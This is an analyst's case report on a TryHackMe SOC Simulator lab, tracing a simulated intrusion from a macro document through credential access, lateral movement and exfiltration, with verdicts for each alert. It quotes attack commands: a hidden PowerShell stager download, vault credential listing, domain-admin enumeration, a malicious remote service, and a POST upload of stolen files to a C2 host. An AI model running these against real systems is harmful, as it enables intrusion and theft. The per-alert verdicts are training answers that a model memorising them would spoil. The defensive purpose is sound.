# Repossessed (TryHackMe SOC Simulator): Case Report Record

[Link to the SOC Simulator on TryHackMe](https://tryhackme.com/soc-sim)

Scenario: TryHatMe Studios, launch of the NeuralNexus platformer. A Marketing workstation spawns a process it should not. 9 alerts, simulated environment. Clock note: use the event `timestamp` in each alert, not the queue time (the queue runs 1 to 2 minutes off). After a simulation restart, all event times shifted by about 2.5 minutes. Times below are from the later session. Search note: the `host` field holds the ingest endpoint (10.10.232.67:8989). Filtering on `host="THM-..."` returns zero. Filter on ProcessGuid, SourceIp, file paths or IPs instead.

## Attack chain (event times)

| Time | Event | Alert |
| --- | --- | --- |
| 17:35:36 | WINWORD.EXE opens `Q3_PressKit_Feedback.docm` and spawns hidden encoded PowerShell (PID 8572) | 6353 |
| 17:35:39 | First connection to `paylink-cdn.thm` (45.147.230.131:8067); stager downloads `svchost_update.ps1` | 6354 |
| 17:35:41 | `vaultcmd /listcreds:"Windows Credentials"` (PID 9356) | 6355 |
| 17:40:41 | `net user /domain`, `net group "Domain Admins" /domain`, `nltest /dclist` in 172 ms | 6356 |
| 17:41:41 | `net use \\THM-SREYES\C$` | (6356 context) |
| 17:42:41 | `svc-mktshare` accesses C$ and IPC$ on THM-SREYES from 10.60.10.22 | (6357 context) |
| 17:43:11 | Service `SvcUpdate` installed (4697), LocalSystem, runs the script via `cmd.exe /c start /b powershell ...` | 6357 |
| 17:46:06 | `sc \\THM-SREYES start SvcUpdate`; script starts on THM-SREYES as SYSTEM | 6357 |
| 17:50:02 | `7z.exe a -mx=1 C:\Windows\Temp\nx_build_beta.7z C:\Dev\NeuralNexus\Build\*` | 6359 |
| 17:51:05 | `Invoke-RestMethod -Method Post -InFile nx_build_beta.7z` to `paylink-cdn.thm:8067/upload` | 6360 |
| 17:48:11 | CrashReportArchiver task uploads crash logs to `telemetry-vendor.thm:443` (FALSE POSITIVE) | second exfil-rule alert |

## Things the logs could not prove (state these in reports)

- Where `svc-mktshare` credentials came from (vault enumeration is a likely source, unconfirmed).
- Command output (process logs do not capture it): treat the domain user list and vault entries as exposed.
- The macro inside the `.docm` (inferred from the extension and Word spawning PowerShell) and how the file reached the user.
- Whether the archive existed on disk (no file-create event) and whether the upload was received (attempt only).
- Decoy: `ai.exe` (Office ML helper, `.onnx` argument) started by Word 1 ms before the malicious PowerShell is benign.

## Alert 6353: Suspicious Child Process Spawned (Execution)

**Verdict:** True positive | **Escalation:** Yes | **Time:** 2026-10-25T17:35:36

- Related: THM-MSMITH (10.60.10.22), `TRYHATME\m.smith`, WINWORD.EXE PID 6184, `C:\Users\m.smith\Downloads\Q3_PressKit_Feedback.docm`, 32-bit powershell.exe PID 8572 (GUID `{3af46175-3907-6a90-951d-000000001200}`).
- Why TP: Word launched PowerShell with `-NoP -W Hidden -Enc`. Decoded: downloads `http://paylink-cdn.thm:8067/svchost_update.ps1` to `%TEMP%` and runs it hidden with `ExecutionPolicy Bypass`. Code from outside the organisation ran.
- Why escalate: initial execution of a multi-host intrusion.
- Remediation: isolate hosts, quarantine the docm, block the C2, remove the script, reset credentials, restrict macros.
- Indicators: the docm path, the encoded command, the stager URL, `%TEMP%\svchost_update.ps1`, 45.147.230.131:8067.

## Alert 6354: Suspicious Outbound Connection Following Document Execution (C2)

**Verdict:** True positive | **Escalation:** Yes | **Time:** 2026-10-25T17:35:39

- Related: same host, PID 8572 (first connection) and PID 9356 (52 later connections), destination paylink-cdn.thm / 45.147.230.131:8067.
- Why TP: 53 connections between 17:35:39 and 17:56:02 (about 20 min 23 s) to an external IP on a non-standard port, starting 3 seconds after Word spawned PowerShell. No business relationship; destination hosts the payload and later received the archive upload.
- Why escalate: C2 channel of an active intrusion.
- Remediation: block the domain and IP, isolate hosts, hunt for other connections.

## Alert 6355: Anomalous Credential Vault Access (Credential Access)

**Verdict:** True positive | **Escalation:** Yes | **Time:** 2026-10-25T17:35:41

- Related: THM-MSMITH, `m.smith`, VaultCmd.exe PID 10872, parent PowerShell PID 9356 running `svchost_update.ps1` from the user Temp folder.
- Why TP: vault listing launched by a hidden, policy-bypassing script named like a system file, on a Marketing workstation, not by support staff.
- Credentials exposed: `/listcreds` lists entries, the output is not logged, so treat every Windows vault credential on the host as exposed.
- Remediation: isolate, reset `m.smith` and all vault credentials, remove the script.
- Indicators: `vaultcmd /listcreds:"Windows Credentials"`, the script path, parent GUID `{3af46175-390a-6a90-991d-000000001200}`, `csc.exe` compile at 17:35:41.026.

## Alert 6356: Rapid Domain and Host Enumeration from Non-Administrative Host (Discovery)

**Verdict:** True positive | **Escalation:** Yes | **Time:** 2026-10-25T17:40:41

- Related: THM-MSMITH, `m.smith`, PID 9356, DC-01.
- Why TP: three enumeration commands in 172 ms from a hidden script on a standard-user Marketing host; targets Domain Admins and domain controllers; followed by lateral movement.
- Evidence limitation: command output is not captured; treat domain users and Domain Admins membership as exposed.
- Remediation: isolate, reset, review privileged accounts, review DC-01 logs, detect `net`/`nltest` bursts from non-admin hosts.

## Alert 6357: Suspicious Remote Logon and Service Creation (Lateral Movement)

**Verdict:** True positive | **Escalation:** Yes | **Time:** 2026-10-25T17:43:11

- Related: THM-SREYES (10.60.10.20), source THM-MSMITH (10.60.10.22), `TRYHATME\svc-mktshare` (Logon ID 0x24F6572), service `SvcUpdate` (LocalSystem, manual start), `sc \\THM-SREYES create SvcUpdate binpath= "cmd.exe /c start /b powershell.exe -NoP -NonI -W Hidden -ExecutionPolicy Bypass -File C:\Windows\Temp\svchost_update.ps1"`.
- Why TP: service binary path is a hidden PowerShell command, not an executable; network logon (Type 3) from 10.60.10.22; C$ and IPC$ access at 17:42:41; service started at 17:46:06 and the script ran as SYSTEM.
- Why escalate: SYSTEM-level execution on a second host with a compromised service account.
- Remediation: reset `svc-mktshare`, delete `SvcUpdate`, isolate both hosts, hunt for 4697/7045 and the script name, restrict remote admin-share access for service accounts.

## Alert 6359: Suspicious Archive Utility Execution (Collection)

**Verdict:** True positive | **Escalation:** Yes | **Time:** 2026-10-25T17:50:02

- Related: THM-SREYES, SYSTEM, PowerShell PID 14264 (GUID `{3af46175-3bfc-6a90-a41c-000000001100}`), 7z.exe PID 9104, `C:\Dev\NeuralNexus\Build\*`, `C:\Windows\Temp\nx_build_beta.7z`.
- Why TP: 7-Zip launched by the hidden script (script block at 17:50:01), archive written to `C:\Windows\Temp` not a backup location, same process beaconing to the C2 before and after, same script as 6355.
- Evidence limitation: no file-create event for the archive.
- Remediation: isolate, block the C2, preserve the script, assess exposure of the NeuralNexus build.

## Alert 6360: Suspicious External Connection Following Archive Creation (Exfiltration)

**Verdict:** True positive | **Escalation:** Yes | **Time:** 2026-10-25T17:51:07 (upload script block 17:51:05)

- Related: THM-SREYES, PID 14264, paylink-cdn.thm / 45.147.230.131:8067, `nx_build_beta.7z`.
- Why TP: script block shows `Invoke-RestMethod -Method Post -InFile C:\Windows\Temp\nx_build_beta.7z` to the C2; 15 connections from 17:46:06 to 17:55:49 (about 9 min 42 s) at roughly 30 s intervals; non-standard port, unapproved destination.
- Wording: attempted exfiltration; receipt by the server and bytes sent are unconfirmed.
- Remediation: isolate, block, check proxy logs for upload size, notify legal and management.

## Second exfiltration-rule alert: CrashReportArchiver (17:48:11)

**Verdict:** False positive | **Escalation:** No | **Time:** 2026-10-25T17:48:11

- Related: THM-SREYES, powershell.exe PID 12408, scheduled task `CrashReportArchiver`, `C:\ProgramData\CrashReports\crashlogs.7z`, `telemetry-vendor.thm` (104.18.32.47:443).
- Why FP: launched by the Task Scheduler service; archives only `*.log` crash files; HTTPS on 443; 2 connections 1 ms apart, not a beacon; upload failed (event 4100); no link to the `svchost_update.ps1` chain.
- Remediation: no response; tune the detection to exclude this task and vendor.
- Open check: whether the vendor is on an approved list in the Documentation tab.

## Alert 6352

Not captured in this record. Same rule as 6353 (Suspicious Child Process). Likely the Office helper `ai.exe`, which is benign. Add its verdict here if you want the record complete.

## Writeup plan

Frame as a TryHackMe SOC simulator case study, not a real incident. Teach the method (linking alerts by process GUID, queue vs event time, the `host=` filter trap, the false positive, what the logs could not prove). Avoid listing answer values as a walkthrough, and check the room's rules on publishing.